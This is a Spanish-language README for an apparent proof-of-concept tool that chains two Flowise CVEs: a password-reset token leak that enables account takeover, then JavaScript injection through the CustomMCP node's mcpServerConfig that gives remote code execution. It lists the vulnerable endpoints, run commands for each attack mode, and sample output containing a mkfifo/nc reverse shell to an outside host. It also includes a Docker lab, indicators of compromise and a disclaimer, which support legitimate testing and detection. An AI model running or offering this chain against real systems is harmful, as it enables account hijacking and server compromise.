
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demostrando ATO no autenticado mediante filtración de token de restablecimiento, seguido de RCE autenticado. Incluye un entorno de laboratorio Docker reproducible.
⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los que no tengas permiso por escrito es ilegal.
Este repositorio contiene una prueba de concepto en Python para encadenar dos vulnerabilidades de Flowise:
Flowise es una plataforma de arrastrar y soltar para construir aplicaciones LLM y flujos de trabajo de agentes de IA. CVE-2025-59528 afecta a Flowise 3.0.5 y se corrigió en 3.0.6. El problema proviene del procesamiento inseguro de mcpServerConfig dentro del nodo CustomMCP. CVE-2025-58434 está relacionado con la exposición del token de restablecimiento de contraseña y también se abordó en Flowise 3.0.6.
La herramienta admite:
El flujo vulnerable de restablecimiento de contraseña expone datos sensibles del usuario, incluidos tokens temporales de restablecimiento de contraseña, en la respuesta de la API. Un atacante que conozca una dirección de correo electrónico válida de usuario puede solicitar un restablecimiento de contraseña, recuperar el token temporal de la respuesta y usarlo para establecer una nueva contraseña para la cuenta.
El comportamiento vulnerable afecta a las implementaciones en la nube de Flowise y a las locales/autoalojadas que exponen la misma superficie de API. La solución es nunca devolver tokens de restablecimiento de contraseña ni datos sensibles de restablecimiento de cuenta directamente en las respuestas de la API.
La vulnerabilidad existe en el nodo CustomMCP de Flowise. El parámetro mcpServerConfig se analiza como parte del proceso de configuración del servidor MCP y se evalúa como código JavaScript sin ninguna validación de seguridad. Esto permite a un atacante autenticado inyectar código JavaScript arbitrario, que se ejecuta en el entorno Node.js del servidor Flowise. En la función convertToValidJSONString, la entrada del usuario se pasa al constructor Function, que evalúa la entrada como código JavaScript con privilegios completos de Node.js, lo que permite acceder a módulos como child_process para ejecutar comandos del sistema.
El endpoint vulnerable utilizado por esta PoC es:
POST /api/v1/node-load-method/customMCP
con payload js en el campo mcpServerConfig del cuerpo JSON, por ejemplo:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
El código vulnerable se encuentra en el archivo CustomMCP.ts, y se hace referencia a él en el Aviso del Mantenedor de Github para el CVE.
Atacante Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ objeto usuario + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ contraseña cambiada │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<config manipulada> │
│─────────────────────────────────────────►│
│ JS evaluado en Node.js
│ comando ejecutado
│◄─────────────────────────────────────────│
│ salida del comando o payload ejecutado │
│ │
✓ Toma de cuentas + RCE autenticado
Estructura del Repositorio
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurar variables de entorno
docker-compose up -d
Sin ningún argumento, la herramienta ejecutará la cadena de ataque completa, verificando la vulnerabilidad del objetivo, realizando la toma de cuentas para el correo electrónico proporcionado, iniciando sesión para recuperar cookies y luego explotando la vulnerabilidad RCE con un payload de reverse shell. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Realiza una verificación de versión para determinar si el objetivo es vulnerable a CVE-2025-58434 y CVE-2025-59528. Envía una solicitud a la API del objetivo y analiza la respuesta para identificar la versión de Flowise y el estado de vulnerabilidad.
python3 exploit.py --target http://localhost:3000 check
Ejecuta el proceso de toma de cuentas para CVE-2025-58434. Envía una solicitud de restablecimiento de contraseña para el correo electrónico especificado, recupera el token temporal de la respuesta y luego usa ese token para establecer una nueva contraseña (por defecto: "Password123!") para la cuenta.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Inicia sesión en el objetivo usando el correo electrónico y la contraseña especificados (por defecto: "Password123!"). Si tiene éxito, recupera y muestra las cookies de autenticación (por ejemplo, connect.sid) para su uso en solicitudes autenticadas.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Explota la vulnerabilidad RCE (CVE-2025-59528) enviando un payload mcpServerConfig manipulado al endpoint vulnerable. El payload está diseñado para ejecutar un comando de reverse shell que se conecta de vuelta a la máquina del atacante en el LHOST y LPORT especificados. Si no se proporciona un token, intenta automáticamente iniciar sesión y recuperar un token válido para la explotación. Si no se proporciona LHOST/LPORT, por defecto utiliza un payload simple de comando id que devuelve la salida en la respuesta. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Modo por defecto. Ejecuta toda la cadena de ataque de forma secuencial: verifica vulnerabilidades, realiza la toma de cuentas, inicia sesión para recuperar cookies y luego explota la vulnerabilidad RCE con el payload de reverse shell. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| Flag | Descripción | Ejemplo |
|---|---|---|
-t, --target | URL base del objetivo | -t http://localhost:3000 |
-e, --email | Correo electrónico de la cuenta objetivo | -e [email protected] |
--password | Contraseña conocida para modo login/RCE | --password Password123! |
--token | Token de sesión existente, omite inicio de sesión | --token eyJ... |
--new-password | Contraseña a establecer durante ATO | --new-password Password123! |
| Modo | Descripción |
|---|---|
check | Verificar si el objetivo parece vulnerable |
ato-mode | Ejecutar solo el flujo de toma de cuentas |
login-mode | Iniciar sesión y recuperar cookies de sesión |
rce-mode | Ejecutar solo el flujo RCE |
full-mode | Encadenar ATO, inicio de sesión y RCE |
| Flag | Descripción | Ejemplo |
|---|---|---|
-c, --command | Comando personalizado a ejecutar | -c 'id' |
--lhost | Host del listener para reverse shell | --lhost 10.10.14.3 |
--lport | Puerto del listener para reverse shell | --lport 4444 |
| Flag | Descripción | Por defecto |
|---|---|---|
--no-check | Omitir verificación de versión/vulnerabilidad | False |
-v, --verbose | Habilitar registro de depuración | False |
--log-file | Ruta del archivo de registro | logs/exploit.log |
--no-color | Deshabilitar colores ANSI | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] URL del objetivo: http://localhost:3000
[∗] Módulo: full-mode
[∗] Email: [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Verificando vulnerabilidad del objetivo...
[+] El objetivo parece ser vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Iniciando Toma de Cuentas (CVE-2025-58434)...
[+] Solicitud de restablecimiento de contraseña enviada exitosamente.
[∗] Datos del usuario objetivo:
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Nombre : Lab Admin
🡪 Email : [email protected]
🡪 Credencial : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Estado : activo
🡪 Token temporal : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Expiración del token: 2026-05-08T19:37:47.025Z
[∗] Intentando restablecer la contraseña usando el token temporal...
[∗] Nueva contraseña: Password123!
[+] Toma de cuentas exitosa. Nuevas credenciales:
🡪 Email : [email protected]
🡪 Contraseña : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Iniciando proceso de inicio de sesión para recuperar cookies de sesión...
[+] Inicio de sesión exitoso.
[+] Tokens de sesión recuperados:
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Iniciando Ejecución Remota de Código (CVE-2025-59528)...
[!] ¡Asegúrate de tener un listener listo si usas un comando de reverse shell!
[∗] Comando de reverse shell: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] URL del objetivo: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Enviando payload para desencadenar RCE...
[+] Payload enviado. ¡Revisa tu listener para una conexión de reverse shell!
────────────────────────────────────────────────────────────────────────────────
[+] Trabajo terminado. ¡Adiós!
Se recomienda un laboratorio local para pruebas seguras.
Instalación del laboratorio:
cp .env.example .env # Configurar variables de entorno según sea necesario
docker compose up -d --build
docker compose logs -f
Se crean dos cuentas de Flowise por defecto:
[email protected], la contraseña se genera aleatoriamente al inicio del contenedor (revisa los logs para la contraseña).[email protected], la contraseña se genera aleatoriamente al inicio del contenedor pero no aparece en los logs. Este es el objetivo previsto para el flujo ATO.Ejecuta la PoC contra la instancia local:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Para inspeccionar los logs de Flowise:
docker compose logs -f flowise-cve-lab
o:
docker logs -f flowise-cve-lab
Function, eval o equivalentes.Posibles indicadores de explotación:
/api/v1/node-load-method/customMCPmcpServerConfig que contengan sintaxis similar a JavaScript.process.mainModule, child_process, execSync, Buffer.from, FunctionEste proyecto se proporciona únicamente con fines educativos, pruebas de laboratorio e investigación de seguridad autorizada.
Eres responsable de asegurarte de tener permiso explícito antes de ejecutar esta herramienta contra cualquier sistema. El autor no se hace responsable del mal uso, daños o actividades ilegales realizadas con este código. Siempre sigue las pautas éticas y los requisitos legales al realizar pruebas de seguridad.